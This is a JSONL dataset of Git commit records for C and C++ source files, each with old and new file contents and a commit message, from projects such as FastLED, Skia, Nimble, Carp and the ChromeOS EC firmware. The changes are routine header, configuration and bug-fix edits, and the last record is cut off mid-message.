{"commit":"faf1826dc91d379da0258dc23adc115a5a42890d","old_file":"texor.c","new_file":"texor.c","old_contents":"#include <unistd.h>\n\nint main() {\n  char c;\n  while (read(STDIN_FILENO, &c, 1) == 1 && c!= 'q');\n  return 0;\n}\n","new_contents":"#include <termios.h>\n#include <unistd.h>\n\nvoid enableRawMode() {\n  struct termios raw;\n\n  tcgetattr(STDIN_FILENO, &raw);\n\n  raw.c_lflag &= ~(ECHO);\n\n  tcsetattr(STDIN_FILENO, TCSAFLUSH, &raw);\n}\n\nint main() {\n  enableRawMode();\n\n  char c;\n  while (read(STDIN_FILENO, &c, 1) == 1 && c!= 'q');\n  return 0;\n}\n","subject":"Enable raw mode in terminal","message":"Enable raw mode in terminal\n","lang":"C","license":"bsd-2-clause","repos":"kyletolle\/texor"}
{"commit":"e9d185a4d126adf5ea6c27fc4d6dc1a55cb104e4","old_file":"Python\/strtod.c","new_file":"Python\/strtod.c","old_contents":"\/* This is not a proper strtod() implementation, but sufficient for Python.\n   Python won't detect floating point constant overflow, though. *\/\n\nextern int strlen();\nextern double atof();\n\ndouble\nstrtod(p, pp)\n\tchar *p;\n\tchar **pp;\n{\n\tif (pp)\n\t\t*pp = p + strlen(p);\n\treturn atof(p);\n}\n","new_contents":"\/* This is not a proper strtod() implementation, but sufficient for Python.\n   Python won't detect floating point constant overflow, though. *\/\n\nextern int errno;\n\nextern int strlen();\nextern double atof();\n\ndouble\nstrtod(p, pp)\n\tchar *p;\n\tchar **pp;\n{\n\tdouble res;\n\n\tif (pp)\n\t\t*pp = p + strlen(p);\n\tres = atof(p);\n\terrno = 0;\n\treturn res;\n\t\n}\n","subject":"Clear errno, just to be sure.","message":"Clear errno, just to be sure.\n","lang":"C","license":"mit","repos":"sk-\/python2.7-type-annotator,sk-\/python2.7-type-annotator,sk-\/python2.7-type-annotator"}
{"commit":"ad5f95a1151e450413b45f81eb1f8b9b70974e68","old_file":"Sources\/NimbleObjectiveC\/NMBStringify.h","new_file":"Sources\/NimbleObjectiveC\/NMBStringify.h","old_contents":"@class NSString;\n\n\/**\n * Returns a string appropriate for displaying in test output\n * from the provided value.\n *\n * @param value A value that will show up in a test's output.\n *\n * @return The string that is returned can be\n *     customized per type by conforming a type to the `TestOutputStringConvertible`\n *     protocol. When stringifying a non-`TestOutputStringConvertible` type, this\n *     function will return the value's debug description and then its\n *     normal description if available and in that order. Otherwise it\n *     will return the result of constructing a string from the value.\n *\n * @see `TestOutputStringConvertible`\n *\/\nextern NSString *_Nonnull NMBStringify(id _Nullable anyObject) __attribute__((warn_unused_result));\n","new_contents":"@class NSString;\n\n\/**\n * Returns a string appropriate for displaying in test output\n * from the provided value.\n *\n * @param anyObject A value that will show up in a test's output.\n *\n * @return The string that is returned can be\n *     customized per type by conforming a type to the `TestOutputStringConvertible`\n *     protocol. When stringifying a non-`TestOutputStringConvertible` type, this\n *     function will return the value's debug description and then its\n *     normal description if available and in that order. Otherwise it\n *     will return the result of constructing a string from the value.\n *\n * @see `TestOutputStringConvertible`\n *\/\nextern NSString *_Nonnull NMBStringify(id _Nullable anyObject) __attribute__((warn_unused_result));\n","subject":"Fix documentation parameter name warnings","message":"Fix documentation parameter name warnings\n\nvalue is not matching `anyObject`","lang":"C","license":"apache-2.0","repos":"abbeycode\/Nimble,Quick\/Nimble,twobitlabs\/Nimble,twobitlabs\/Nimble,AnthonyMDev\/Nimble,phatblat\/Nimble,abbeycode\/Nimble,phatblat\/Nimble,Quick\/Nimble,phatblat\/Nimble,DanielAsher\/Nimble,DanielAsher\/Nimble,AnthonyMDev\/Nimble,Quick\/Nimble,abbeycode\/Nimble,twobitlabs\/Nimble,DanielAsher\/Nimble,abbeycode\/Nimble,AnthonyMDev\/Nimble"}
{"commit":"82f655c48263612edfc4e145bc5da18ca25cf8ec","old_file":"3RVX\/DiskInfo.h","new_file":"3RVX\/DiskInfo.h","old_contents":"#pragma once\n\n#include <Windows.h>\n\n#include <string>\n\nclass DiskInfo {\npublic:\n    DiskInfo(wchar_t driveLetter);\n\n    static std::wstring DriveFileName(wchar_t &driveLetter);\n    static std::wstring DriveFileName(std::wstring &driveLetter);\n\nprivate:\n    HANDLE _devHandle;\n};","new_contents":"#pragma once\n\n#include <Windows.h>\n\n#include <string>\n\nclass DiskInfo {\npublic:\n    DiskInfo(wchar_t driveLetter);\n\n    static std::wstring DriveFileName(wchar_t &driveLetter);\n    static std::wstring DriveFileName(std::wstring &driveLetter);\n\nprivate:\n    HANDLE _devHandle;\n    std::wstring _productId;\n    std::wstring _vendorId;\n};","subject":"Add member variables for storing disk info","message":"Add member variables for storing disk info\n","lang":"C","license":"bsd-2-clause","repos":"malensek\/3RVX,malensek\/3RVX,malensek\/3RVX"}
{"commit":"9f59142ee7ca004fb39be638463ad0ef0ba3a713","old_file":"alura\/c\/forca.c","new_file":"alura\/c\/forca.c","old_contents":"#include <stdio.h>\n\nint main() {\n  char palavrasecreta[20];\n\n  sprintf(palavrasecreta, \"MELANCIA\");\n\n  printf(\"%s\\n\", palavrasecreta);\n\n  \/*\n  palavrasecreta[0] = 'M';\n  palavrasecreta[1] = 'E';\n  palavrasecreta[2] = 'L';\n  palavrasecreta[3] = 'A';\n  palavrasecreta[4] = 'N';\n  palavrasecreta[5] = 'C';\n  palavrasecreta[6] = 'I';\n  palavrasecreta[7] = 'A';\n\n  printf(\"%c%c%c%c%c%c%c%c\\n\", palavrasecreta[0], palavrasecreta[1], palavrasecreta[2], palavrasecreta[3], palavrasecreta[4], palavrasecreta[5], palavrasecreta[6], palavrasecreta[7]);\n  *\/\n}\n","new_contents":"#include <stdio.h>\n\nint main() {\n  char palavrasecreta[20];\n\n  sprintf(palavrasecreta, \"MELANCIA\");\n\n  printf(\"%s\\n\", palavrasecreta);\n\n  \/*\n  palavrasecreta[0] = 'M';\n  palavrasecreta[1] = 'E';\n  palavrasecreta[2] = 'L';\n  palavrasecreta[3] = 'A';\n  palavrasecreta[4] = 'N';\n  palavrasecreta[5] = 'C';\n  palavrasecreta[6] = 'I';\n  palavrasecreta[7] = 'A';\n  palavrasecreta[8] = '\\0';\n\n  printf(\"%c%c%c%c%c%c%c%c\\n\", palavrasecreta[0], palavrasecreta[1], palavrasecreta[2], palavrasecreta[3], palavrasecreta[4], palavrasecreta[5], palavrasecreta[6], palavrasecreta[7]);\n  *\/\n}\n","subject":"Update files, Alura, Introdução a C - Parte 2, Aula 2.2","message":"Update files, Alura, Introdução a C - Parte 2, Aula 2.2\n","lang":"C","license":"mit","repos":"fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs"}
{"commit":"b57aae70855946e5e6a223f10b29af082937e20c","old_file":"BBBAPI\/BBBAPI\/Classes\/BBAAPIErrors.h","new_file":"BBBAPI\/BBBAPI\/Classes\/BBAAPIErrors.h","old_contents":"\/\/\n\/\/  BBAAPIErrors.h\n\/\/  BBAAPI\n\/\/\n\/\/  Created by Owen Worley on 11\/08\/2014.\n\/\/  Copyright (c) 2014 Blinkbox Books. All rights reserved.\n\/\/\n\nNS_ENUM(NSInteger, BBAAPIError) {\n    \/**\n     *  Used when needed parameter is not supplied to the method\n     *  or when object is supplied but it has wrong type or \n     *  for example one of it's needed properties is not set\n     *\/\n    BBAAPIWrongUsage = 700,\n    \/**\n     *  Error returned when for any reason API call cannot connect to the server\n     *\/\n    BBAAPIErrorCouldNotConnect = 701,\n    \/**\n     *  Returned when call cannot be authenticated, or when server returns 401\n     *\/\n    BBAAPIErrorUnauthorised = 702,\n    \/**\n     *  Used when server cannot find a resource and returns 404\n     *\/\n    BBAAPIErrorNotFound = 703,\n    \/**\n     *  Used when server returns 500\n     *\/\n    BBAAPIServerError = 704,\n    \/**\n     *  Used when server returns 403\n     *\/\n    BBAAPIErrorForbidden = 705,\n    \/**\n     *  Used when we cannot decode or read data returned from the server\n     *\/\n    BBAAPIUnreadableData = 706,\n};\n\n","new_contents":"\/\/\n\/\/  BBAAPIErrors.h\n\/\/  BBAAPI\n\/\/\n\/\/  Created by Owen Worley on 11\/08\/2014.\n\/\/  Copyright (c) 2014 Blinkbox Books. All rights reserved.\n\/\/\n\nNS_ENUM(NSInteger, BBAAPIError) {\n    \/**\n     *  Used when needed parameter is not supplied to the method\n     *  or when object is supplied but it has wrong type or \n     *  for example one of it's needed properties is not set\n     *\/\n    BBAAPIWrongUsage = 700,\n    \/**\n     *  Error returned when for any reason API call cannot connect to the server\n     *\/\n    BBAAPIErrorCouldNotConnect = 701,\n    \/**\n     *  Returned when call cannot be authenticated, or when server returns 401\n     *\/\n    BBAAPIErrorUnauthorised = 702,\n    \/**\n     *  Used when server cannot find a resource and returns 404\n     *\/\n    BBAAPIErrorNotFound = 703,\n    \/**\n     *  Used when server returns 500\n     *\/\n    BBAAPIServerError = 704,\n    \/**\n     *  Used when server returns 403\n     *\/\n    BBAAPIErrorForbidden = 705,\n    \/**\n     *  Used when we cannot decode or read data returned from the server\n     *\/\n    BBAAPIUnreadableData = 706,\n    \/**\n     *  Used when the server returns a 400 (Bad Request)\n     *\/\n    BBAAPIBadRequest = 707,\n};\n\n","subject":"Add Bad Request error code","message":"Add Bad Request error code\n","lang":"C","license":"mit","repos":"blinkboxbooks\/blinkbox-network.objc,blinkboxbooks\/blinkbox-network.objc"}
{"commit":"2d67979dc01cb98b74941246685e9853439dd4a8","old_file":"blocklist.h","new_file":"blocklist.h","old_contents":"\n#ifndef SQREDIR_BLOCKLIST_H\n#define SQREDIR_BLOCKLIST_H\n\n#include <cstdio>\n#include <string>\n\nusing namespace std;\n\n\/\/ reads the given configuration file\n\/\/ returns: true\/false for success\/failure\nbool read_config(string filename);\n\n\/\/ tries to match the Squid request & writes the response to the output stream\n\/\/ input: a request line as passed by Squid\n\/\/ output: response output stream (usually stdout)\nvoid match_and_reply(const char* input, FILE* output);\n\n#endif\n","new_contents":"\n#ifndef SQREDIR_BLOCKLIST_H\n#define SQREDIR_BLOCKLIST_H\n\n#include <cstdio>\n#include <string>\n\n\/\/ reads the given configuration file\n\/\/ returns: true\/false for success\/failure\nbool read_config(std::string filename);\n\n\/\/ tries to match the Squid request & writes the response to the output stream\n\/\/ input: a request line as passed by Squid\n\/\/ output: response output stream (usually stdout)\nvoid match_and_reply(const char* input, FILE* output);\n\n#endif\n","subject":"Remove 'using' directive from header, explicitly qualify std namespace.","message":"Remove 'using' directive from header, explicitly qualify std namespace.\n","lang":"C","license":"apache-2.0","repos":"hhoffstaette\/sqredir"}
{"commit":"b60ffe69ae77c59e05f2f3985955b0034ba93b7a","old_file":"MC\/JPetMCDecayTree\/JPetMCDecayTree.h","new_file":"MC\/JPetMCDecayTree\/JPetMCDecayTree.h","old_contents":"\/**\n *  @copyright Copyright 2018 The J-PET Framework Authors. All rights reserved.\n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may find a copy of the License in the LICENCE file.\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n *\n *  @file JPetMCDecayTree.h\n *\/\n\n#ifndef _JPETMCHIT_H_\n#define _JPETMCHIT_H_\n\n#include \".\/JPetHit\/JPetHit.h\"\n\n\/**\n * @brief Data class representing a hit of a photon in the scintillator strip based on Monte Carlo simulation.\n *\n *\/\nclass JPetMCDecayTree : public TObject \n{\n\npublic:\n  JPetMCDecayTree();\n\nprivate:\n\n  UInt_t fMCMCDecayTreeIndex = 0u;\n  UInt_t fMCVtxIndex = 0u;\n\n  UInt_t fnVertices = 0u;\n  UInt_t fnTracks = 0u;\n  \/\/ add also track and vertices structures  \n\n  ClassDef(JPetMCDecayTree, 1);\n};\n\n#endif\n","new_contents":"\/**\n *  @copyright Copyright 2018 The J-PET Framework Authors. All rights reserved.\n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may find a copy of the License in the LICENCE file.\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n *\n *  @file JPetMCDecayTree.h\n *\/\n\n#ifndef _JPETMCDECAYTREE_H_\n#define _JPETMCDECAYTREE_H_\n\n#include \".\/JPetHit\/JPetHit.h\"\n\n\/**\n * @brief Data class representing a hit of a photon in the scintillator strip based on Monte Carlo simulation.\n *\n *\/\nclass JPetMCDecayTree : public TObject {\n\npublic:\n  JPetMCDecayTree();\n\nprivate:\n  UInt_t fMCMCDecayTreeIndex = 0u;\n  UInt_t fMCVtxIndex = 0u;\n\n  UInt_t fnVertices = 0u;\n  UInt_t fnTracks = 0u;\n  \/\/ add also track and vertices structures\n\n  ClassDef(JPetMCDecayTree, 1);\n};\n\n#endif\n","subject":"Change header guard name to do not colide with JPetMCHit","message":"Change header guard name to do not colide with JPetMCHit\n","lang":"C","license":"apache-2.0","repos":"JPETTomography\/j-pet-framework,JPETTomography\/j-pet-framework,JPETTomography\/j-pet-framework"}
{"commit":"0aad78ead3cc061a0cb6135ba8833ba5edc491d3","old_file":"Sources\/Mile\/Components\/ActorComponent.h","new_file":"Sources\/Mile\/Components\/ActorComponent.h","old_contents":"#pragma once\n#include \"MileObject.h\"\n\nnamespace Mile\n{\n    \/**\n    * ActorComponent Actor ߰  ִ    ϴ Component ⺻ ŬԴϴ.\n    *\/\n    class Actor;\n    class MILE_API ActorComponent : public MileObject\n    {\n        friend Actor;\n    public:\n        ActorComponent( const MString& NewName ) :\n            bIsTick( false ),\n            OwnerPrivate( nullptr ),\n            TickPriority( 0 ),\n            MileObject( NewName )\n        {\n        }\n\n        ActorComponent( ActorComponent&& MovedObject ) :\n            OwnerPrivate( MovedObject.OwnerPrivate ),\n            bIsTick( MovedObject.bIsTick ),\n            TickPriority( MovedObject.TickPriority ),\n            MileObject( std::move( MovedObject ) )\n        {\n            this->SetOwner( MovedObject.GetOwner( ) );\n            MovedObject.SetOwner( nullptr );\n            MovedObject.bIsTick = false;\n            MovedObject.TickPriority = UINT64_MAX;\n        }\n\n        ActorComponent& operator=( ActorComponent&& MovedObject ) = delete;\n\n        void SetOwner( Actor* Owner, bool bIsDetachBeforeSetNewOwner = true );\n        virtual void SetOwnerRecursively( Actor* NewOwner, bool bIsDetachBeforeSetNewOwner = true );\n        FORCEINLINE Actor* GetOwner( ) const\n        {\n            return OwnerPrivate;\n        }\n\n        virtual void TickComponent( float DeltaTime ) {}\n\n    private:\n        Actor* OwnerPrivate;\n\n    public:\n        bool    bIsTick;\n        uint64  TickPriority;\n\n    };\n}","new_contents":"#pragma once\n#include \"MileObject.h\"\n\nnamespace Mile\n{\n    \/**\n    * ActorComponent Actor ߰  ִ    ϴ Component ⺻ ŬԴϴ.\n    *\/\n    class Actor;\n    class MILE_API ActorComponent : public MileObject\n    {\n        friend Actor;\n    public:\n        ActorComponent( const MString& NewName ) :\n            bIsTick( false ),\n            OwnerPrivate( nullptr ),\n            TickPriority( 0 ),\n            MileObject( NewName )\n        {\n        }\n\n        ActorComponent( ActorComponent&& MovedObject ) :\n            OwnerPrivate( MovedObject.OwnerPrivate ),\n            bIsTick( MovedObject.bIsTick ),\n            TickPriority( MovedObject.TickPriority ),\n            MileObject( std::move( MovedObject ) )\n        {\n            this->SetOwner( MovedObject.GetOwner( ) );\n            MovedObject.SetOwner( nullptr );\n            MovedObject.bIsTick = false;\n            MovedObject.TickPriority = UINT64_MAX;\n        }\n\n        ActorComponent& operator=( ActorComponent&& MovedObject ) = delete;\n\n        void SetOwner( Actor* Owner, bool bIsDetachBeforeSetNewOwner = true );\n        virtual void SetOwnerRecursively( Actor* NewOwner, bool bIsDetachBeforeSetNewOwner = true );\n        FORCEINLINE Actor* GetOwner( ) const\n        {\n            return OwnerPrivate;\n        }\n\n        virtual void Tick( float DeltaTime ) { UNUSED_PARAM( DeltaTime ); }\n\n    private:\n        Actor* OwnerPrivate;\n        bool    bIsTick;\n        uint64  TickPriority;\n\n    };\n}","subject":"Delete TickComponent ( because of tick manager )","message":"Delete TickComponent ( because of tick manager )\n","lang":"C","license":"mit","repos":"HoRangDev\/MileEngine,HoRangDev\/MileEngine"}
{"commit":"25955e1264eec2fec804d7786e2f640bf9e0d189","old_file":"src\/platforms\/esp\/32\/led_sysdefs_esp32.h","new_file":"src\/platforms\/esp\/32\/led_sysdefs_esp32.h","old_contents":"#pragma once\n#include \"esp32-hal.h\"\n#ifndef ESP32\n#define ESP32\n#endif\n\n#define FASTLED_ESP32\n\n#if CONFIG_IDF_TARGET_ARCH_RISCV\n#define FASTLED_RISCV\n#endif\n\n#if CONFIG_IDF_TARGET_ARCH_XTENSA || CONFIG_XTENSA_IMPL\n#define FASTLED_XTENSA\n#endif\n\n\/\/ Use system millis timer\n#define FASTLED_HAS_MILLIS\n\ntypedef volatile uint32_t RoReg;\ntypedef volatile uint32_t RwReg;\ntypedef unsigned long prog_uint32_t;\n\n\n\/\/ Default to NOT using PROGMEM here\n#ifndef FASTLED_USE_PROGMEM\n# define FASTLED_USE_PROGMEM 0\n#endif\n\n#ifndef FASTLED_ALLOW_INTERRUPTS\n# define FASTLED_ALLOW_INTERRUPTS 1\n# define INTERRUPT_THRESHOLD 0\n#endif\n\n#define NEED_CXX_BITS\n\n\/\/ These can be overridden\n#   define FASTLED_ESP32_RAW_PIN_ORDER\n\n","new_contents":"#pragma once\n#include \"esp32-hal.h\"\n#ifndef ESP32\n#define ESP32\n#endif\n\n#define FASTLED_ESP32\n\n#if CONFIG_IDF_TARGET_ARCH_RISCV\n#define FASTLED_RISCV\n#else\n#define FASTLED_XTENSA\n#endif\n\n\/\/ Handling for older versions of ESP32 Arduino core\n#if !defined(ESP_IDF_VERSION)\n\/\/ Older versions of ESP_IDF only supported ESP32\n#define CONFIG_IDF_TARGET_ESP32 1\n\/\/ Define missing version macros.  Hard code older version 3.0 since actual version is unknown\n#define ESP_IDF_VERSION_VAL(major, minor, patch) ((major << 16) | (minor << 8) | (patch))\n#define ESP_IDF_VERSION ESP_IDF_VERSION_VAL(3, 0, 0)\n#endif\n\n\/\/ Use system millis timer\n#define FASTLED_HAS_MILLIS\n\ntypedef volatile uint32_t RoReg;\ntypedef volatile uint32_t RwReg;\ntypedef unsigned long prog_uint32_t;\n\n\n\/\/ Default to NOT using PROGMEM here\n#ifndef FASTLED_USE_PROGMEM\n# define FASTLED_USE_PROGMEM 0\n#endif\n\n#ifndef FASTLED_ALLOW_INTERRUPTS\n# define FASTLED_ALLOW_INTERRUPTS 1\n# define INTERRUPT_THRESHOLD 0\n#endif\n\n#define NEED_CXX_BITS\n\n\/\/ These can be overridden\n#   define FASTLED_ESP32_RAW_PIN_ORDER\n\n","subject":"Improve compatibility with older ESP32 Arduino core versions","message":"Improve compatibility with older ESP32 Arduino core versions\n","lang":"C","license":"mit","repos":"FastLED\/FastLED,FastLED\/FastLED,FastLED\/FastLED,FastLED\/FastLED"}
{"commit":"72f1d4f87a8a107ceaddb455fca34c59737e1d33","old_file":"mudlib\/mud\/home\/Bigstruct\/lib\/base\/node.c","new_file":"mudlib\/mud\/home\/Bigstruct\/lib\/base\/node.c","old_contents":"\/*\n * This file is part of Kotaka, a mud library for DGD\n * http:\/\/github.com\/shentino\/kotaka\n *\n * Copyright (C) 2012  Raymond Jennings\n *\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as\n * published by the Free Software Foundation, either version 3 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n#include <kotaka\/assert.h>\n#include <kotaka\/paths.h>\n#include <kotaka\/privilege.h>\n#include <kotaka\/log.h>\n\nprivate object root;\n\nstatic void create()\n{\n\troot = previous_object();\n}\n\nstatic void destruct()\n{\n}\n\nstatic void check_caller()\n{\n\tACCESS_CHECK(previous_object() == root);\n}\n\nnomask object query_root()\n{\n\treturn root;\n}\n","new_contents":"\/*\n * This file is part of Kotaka, a mud library for DGD\n * http:\/\/github.com\/shentino\/kotaka\n *\n * Copyright (C) 2012  Raymond Jennings\n *\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as\n * published by the Free Software Foundation, either version 3 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n#include <kotaka\/assert.h>\n#include <kotaka\/paths.h>\n#include <kotaka\/privilege.h>\n#include <kotaka\/log.h>\n\nprivate object root;\n\nstatic void create()\n{\n\troot = previous_object();\n}\n\nstatic void destruct()\n{\n}\n\nstatic void check_caller()\n{\n\tASSERT(root);\n\n\tACCESS_CHECK(previous_object() == root);\n}\n\nnomask object query_root()\n{\n\treturn root;\n}\n","subject":"Add another debug check to bigstructs","message":"Add another debug check to bigstructs\n","lang":"C","license":"agpl-3.0","repos":"shentino\/kotaka,shentino\/kotaka,shentino\/kotaka"}
{"commit":"dbc4a86f3cf652826ad0b0ad2528535273f581c3","old_file":"core\/core.h","new_file":"core\/core.h","old_contents":"#if defined(WIN32) || defined(_WIN32) || \\\n    defined(__WIN32) && !defined(__CYGWIN__)\n#include <BaseTsd.h>\n#include <windows.h>\ntypedef SSIZE_T ssize_t;\n#endif\n#ifndef _WIN32\n#include <unistd.h>\n#endif\n#include <inttypes.h>\n\ntypedef char *String;\ntypedef char *Pattern;\ntypedef int64_t Long;\n\n#if defined NDEBUG\n#define CHK_INDEX(i, n)\n#else\n\n#define CHK_INDEX_FORMAT_STRING \":%u: bad index: %zd < %zd\\n\"\n\n#define CHK_INDEX(i, n)                                                    \\\n    do {                                                                   \\\n        size_t __si = (size_t)i;                                           \\\n        size_t __ni = (size_t)n;                                           \\\n        if (!(__si < __ni)) {                                              \\\n            printf(__FILE__ CHK_INDEX_FORMAT_STRING, __LINE__, (ssize_t)i, \\\n                   (ssize_t)n);                                            \\\n            abort();                                                       \\\n        }                                                                  \\\n    } while (0)\n#endif\n\n\/\/ Array\ntypedef struct {\n    size_t len;\n    size_t capacity;\n    void *data;\n} Array;\n\n\/\/ Lambdas\ntypedef struct {\n    void *callback;\n    void *env;\n    void *delete;\n    void *copy;\n} Lambda;\n\ntypedef void *LambdaEnv;\n","new_contents":"#if defined(WIN32) || defined(_WIN32) || \\\n    defined(__WIN32) && !defined(__CYGWIN__)\n#include <BaseTsd.h>\n#include <windows.h>\ntypedef SSIZE_T ssize_t;\n#define SIZE_T_FORMAT_SPECIFIER \"%ld\"\n#endif\n#ifndef _WIN32\n#include <unistd.h>\n#define SIZE_T_FORMAT_SPECIFIER \"%zd\"\n#endif\n#include <inttypes.h>\n\ntypedef char *String;\ntypedef char *Pattern;\ntypedef int64_t Long;\n\n#if defined NDEBUG\n#define CHK_INDEX(i, n)\n#else\n\n#define CHK_INDEX_FORMAT_STRING \":%u: bad index: \" SIZE_T_FORMAT_SPECIFIER \" < \" SIZE_T_FORMAT_SPECIFIER \"\\n\"\n\n#define CHK_INDEX(i, n)                                                    \\\n    do {                                                                   \\\n        size_t __si = (size_t)i;                                           \\\n        size_t __ni = (size_t)n;                                           \\\n        if (!(__si < __ni)) {                                              \\\n            printf(__FILE__ CHK_INDEX_FORMAT_STRING, __LINE__, (ssize_t)i, \\\n                   (ssize_t)n);                                            \\\n            abort();                                                       \\\n        }                                                                  \\\n    } while (0)\n#endif\n\n\/\/ Array\ntypedef struct {\n    size_t len;\n    size_t capacity;\n    void *data;\n} Array;\n\n\/\/ Lambdas\ntypedef struct {\n    void *callback;\n    void *env;\n    void *delete;\n    void *copy;\n} Lambda;\n\ntypedef void *LambdaEnv;\n","subject":"Use other format specifers on Windows.","message":"Use other format specifers on Windows.\n","lang":"C","license":"apache-2.0","repos":"carp-lang\/Carp,eriksvedang\/Carp,eriksvedang\/Carp,carp-lang\/Carp,carp-lang\/Carp"}
{"commit":"49115b57cb9d260ddd49a6905ee87af63b3ab066","old_file":"tools\/android\/SkBRDAllocator.h","new_file":"tools\/android\/SkBRDAllocator.h","old_contents":"","new_contents":"\/*\n * Copyright 2015 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#include \"SkBitmap.h\"\n#include \"SkCodec.h\"\n\n\/**\n *  Abstract subclass of SkBitmap's allocator.\n *  Allows the allocator to indicate if the memory it allocates\n *  is zero initialized.\n *\/\nclass SkBRDAllocator : public SkBitmap::Allocator {\npublic:\n\n    \/**\n     *  Indicates if the memory allocated by this allocator is\n     *  zero initialized.\n     *\/\n    virtual SkCodec::ZeroInitialized zeroInit() const = 0;\n};\n","subject":"Add an Allocator interface that indicates if memory is zero init","message":"Add an Allocator interface that indicates if memory is zero init\n\nThis is the first step in a three part change:\n(1) Skia: Add SkBRDAllocator.\n(2) Android: Make JavaPixelAllocator and RecyclingClippingPixelAllocator\n             implement SkBRDAllocator.\n(3) Skia: Change SkBitmapRegionDecoder to use SkBRDAllocator and take\n          advantage of zero allocated memory when possible.\n\nBUG=skia:\n\nReview URL: https:\/\/codereview.chromium.org\/1423253004\n","lang":"C","license":"bsd-3-clause","repos":"google\/skia,rubenvb\/skia,google\/skia,tmpvar\/skia.cc,qrealka\/skia-hc,Hikari-no-Tenshi\/android_external_skia,HalCanary\/skia-hc,HalCanary\/skia-hc,google\/skia,qrealka\/skia-hc,rubenvb\/skia,aosp-mirror\/platform_external_skia,qrealka\/skia-hc,qrealka\/skia-hc,Hikari-no-Tenshi\/android_external_skia,HalCanary\/skia-hc,qrealka\/skia-hc,rubenvb\/skia,aosp-mirror\/platform_external_skia,rubenvb\/skia,HalCanary\/skia-hc,rubenvb\/skia,google\/skia,google\/skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,Hikari-no-Tenshi\/android_external_skia,HalCanary\/skia-hc,qrealka\/skia-hc,tmpvar\/skia.cc,rubenvb\/skia,rubenvb\/skia,google\/skia,tmpvar\/skia.cc,google\/skia,aosp-mirror\/platform_external_skia,qrealka\/skia-hc,tmpvar\/skia.cc,rubenvb\/skia,aosp-mirror\/platform_external_skia,Hikari-no-Tenshi\/android_external_skia,tmpvar\/skia.cc,Hikari-no-Tenshi\/android_external_skia,HalCanary\/skia-hc,Hikari-no-Tenshi\/android_external_skia,rubenvb\/skia,rubenvb\/skia,aosp-mirror\/platform_external_skia,google\/skia,tmpvar\/skia.cc,HalCanary\/skia-hc,tmpvar\/skia.cc,HalCanary\/skia-hc,google\/skia,tmpvar\/skia.cc,tmpvar\/skia.cc,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,Hikari-no-Tenshi\/android_external_skia,qrealka\/skia-hc,HalCanary\/skia-hc,google\/skia,Hikari-no-Tenshi\/android_external_skia,HalCanary\/skia-hc"}
{"commit":"1afc2d2704568e5d587eb2ceb18802a4d9bdf7af","old_file":"core\/cortex-m0\/config_core.h","new_file":"core\/cortex-m0\/config_core.h","old_contents":"\/* Copyright 2014 The Chromium OS Authors. All rights reserved.\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#ifndef __CROS_EC_CONFIG_CORE_H\n#define __CROS_EC_CONFIG_CORE_H\n\n\/* Linker binary architecture and format *\/\n#define BFD_ARCH arm\n#define BFD_FORMAT \"elf32-littlearm\"\n\n\/* Emulate the CLZ\/CTZ instructions since the CPU core is lacking support *\/\n#define CONFIG_SOFTWARE_CLZ\n#define CONFIG_SOFTWARE_CTZ\n#define CONFIG_SOFTWARE_PANIC\n\n#define CONFIG_ASSEMBLY_MULA32\n\n#endif \/* __CROS_EC_CONFIG_CORE_H *\/\n","new_contents":"\/* Copyright 2014 The Chromium OS Authors. All rights reserved.\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#ifndef __CROS_EC_CONFIG_CORE_H\n#define __CROS_EC_CONFIG_CORE_H\n\n\/* Linker binary architecture and format *\/\n#define BFD_ARCH arm\n#define BFD_FORMAT \"elf32-littlearm\"\n\n\/*\n * Emulate the CLZ\/CTZ instructions since the CPU core is lacking support.\n * When building with clang, we rely on compiler_rt to provide this support.\n *\/\n#ifndef __clang__\n#define CONFIG_SOFTWARE_CLZ\n#define CONFIG_SOFTWARE_CTZ\n#endif \/* __clang__ *\/\n#define CONFIG_SOFTWARE_PANIC\n\n#define CONFIG_ASSEMBLY_MULA32\n\n#endif \/* __CROS_EC_CONFIG_CORE_H *\/\n","subject":"Use compiler_rt version of clz and ctz","message":"core\/cortex-m0: Use compiler_rt version of clz and ctz\n\nUse __clzsi2 and __ctzsi2 from compiler_rt instead of our own version.\nUsing the compiler_rt versions result in a slightly smaller image.\n\nservo_micro before this change:\nRO: 18744 bytes in flash 